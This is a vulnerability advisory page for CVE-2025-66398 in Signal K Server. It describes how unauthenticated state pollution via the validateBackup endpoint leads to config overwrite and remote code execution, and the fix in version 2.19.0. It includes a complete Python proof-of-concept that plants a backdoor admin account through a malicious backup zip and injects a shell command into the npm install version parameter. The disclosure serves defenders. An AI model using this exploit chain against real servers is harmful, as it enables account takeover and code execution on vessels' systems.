CVE-2025-66398: Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)

Published Jan 1, 2026
·
Updated

Summary An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).

Details The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.

Vulnerable Code Analysis: 1. Global State: restoreFilePath is defined at the top level of the module. typescript // src/serverroutes.ts let restoreFilePath: string 2. Unauthenticated State Pollution: The /skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it. typescript app.post(${SERVERROUTESPREFIX}/validateBackup, (req, res) => { // ... handles file upload ... restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path }) 3. Restore Hijacking: The /skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration. typescript app.post(${SERVERROUTESPREFIX}/restore, (req, res) => { // ... const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path // ... })

Exploit Chain: 1. Pollution: Attacker uploads a malicious zip file to /validateBackup. The server saves it and updates restoreFilePath to point to this malicious file. 2. Hijacking: When /restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files. 3. Backdoor: The attacker overwrites security.json to add a new administrator account. 4. RCE: Using the new admin account, the attacker exploits a separate Command Injection vulnerability in the App Store (/skServer/appstore/install/...) to execute arbitrary system commands (e.g., npm install injection).

PoC Here is a complete Python script to reproduce the full exploit chain.

python import requests import zipfile import io import json import time

Configuration TARGETURL = "http://localhost:3000" BACKDOORUSER = "hacker" BACKDOORPASS = "hacked1234"

def step1plantbackdoor(): print("[] Step 1: Planting Backdoor via State Pollution...") # 1. Create malicious zip with security.json zipbuffer = io.BytesIO() with zipfile.ZipFile(zipbuffer, 'w') as z: # Add backdoor admin user securityconfig = { "users": [{ "username": BACKDOORUSER, "password": BACKDOORPASS, "permissions": "admin" }] } z.writestr("security.json", json.dumps(securityconfig)) # Enable security to make the backdoor effective z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}})) zipbuffer.seek(0)

# 2. Pollute State (Unauthenticated) print(" [+] Sending malicious backup to /validateBackup...") res = requests.post(f"{TARGETURL}/skServer/validateBackup", files={'file': ('malicious.zip', zipbuffer, 'application/zip')}) if res.statuscode != 200: print(" [-] Failed to pollute state.") return False

# 3. Trigger Restore (Hijacking) print(" [+] Triggering restore to overwrite server config...") # Note: In a real attack, if /restore is protected, attacker waits for admin to use it. # Here we assume we can trigger it or security is currently off. res = requests.post(f"{TARGETURL}/skServer/restore", json={"security.json": True, "settings.json": True}) if res.statuscode in [200, 202]: print(" [+] Restore triggered successfully. Backdoor planted.") print(" [!] PLEASE RESTART THE SERVER to load the new configuration.") return True else: print(f" [-] Restore failed: {res.statuscode} {res.text}") return False

def step2executerce(): print("\n[] Step 2: Executing RCE as Backdoor User...") # 1. Login session = requests.Session() loginpayload = {"username": BACKDOORUSER, "password": BACKDOORPASS} res = session.post(f"{TARGETURL}/signalk/v1/auth/login", json=loginpayload) if res.statuscode != 200: print(" [-] Login failed. Did you restart the server?") return token = res.json()['token'] print(" [+] Login successful. Authenticated as Admin.")

# 2. RCE Payload (Windows Example) # Injecting command into version parameter of npm install # Command: echo RCESUCCESS > rceproof.txt cmdpayload = "1.0.0 & echo RCESUCCESS > rceproof.txt &" # We need a valid package name to bypass existence check packagename = "@signalk/freeboard-sk" print(f" [+] Sending RCE payload: {cmdpayload}") headers = {'Authorization': f'Bearer {token}'} try: session.post(f"{TARGETURL}/skServer/appstore/install/{packagename}/{cmdpayload}", headers=headers, timeout=5) except: pass # Timeout is expected as the command might hang or take time

print(" [+] Payload sent. Check for 'rceproof.txt' in server root.")

if name == "main": # Run Step 1, then restart server manually, then Run Step 2 # step1plantbackdoor() step2executerce()

Impact Remote Code Execution (RCE), Account Takeover, Denial of Service. Verified: RCE is demonstrated by creating a file named rceproof.txt containing the text "RCESUCCESS" on the server filesystem using the exploit chain.

Other sources

Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.19.0, an unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE). Version 2.19.0 patches this vulnerability.

— MITRE

Affected Software

3 affected componentsFixes available
Signal K Signal K Server<2.19.0
npm/signalk-server<2.19.0
2.19.0
SignalK Signal K Server<2.19.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/signalk-server to a version that resolves this vulnerability.

    Fixed in 2.19.0
  2. Upgrade

    Upgrade Signal K Server to a version that resolves this vulnerability.

    Fixed in 2.19.0

Event History

Jan 1, 2026
CVE Published
via MITRE·06:00 PM
Data Sourced
via MITRE·06:00 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:15 PM
DescriptionSeverityWeaknessAffected Software
Jan 2, 2026
Advisory Published
via GitHub·03:11 PM
Data Sourced
via GitHub·03:11 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2025-66398?

CVE-2025-66398 is considered a high severity vulnerability due to the potential for an unauthenticated attacker to hijack the admin interface.

2

How do I fix CVE-2025-66398?

To fix CVE-2025-66398, update Signal K Server to version 2.19.0 or later.

3

What is affected by CVE-2025-66398?

CVE-2025-66398 affects versions of Signal K Server prior to 2.19.0.

4

What type of attack does CVE-2025-66398 involve?

CVE-2025-66398 involves an attacker polluting the internal state through the /skServer/validateBackup endpoint.

5

Can CVE-2025-66398 be exploited remotely?

Yes, CVE-2025-66398 can be exploited remotely by an unauthenticated attacker.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203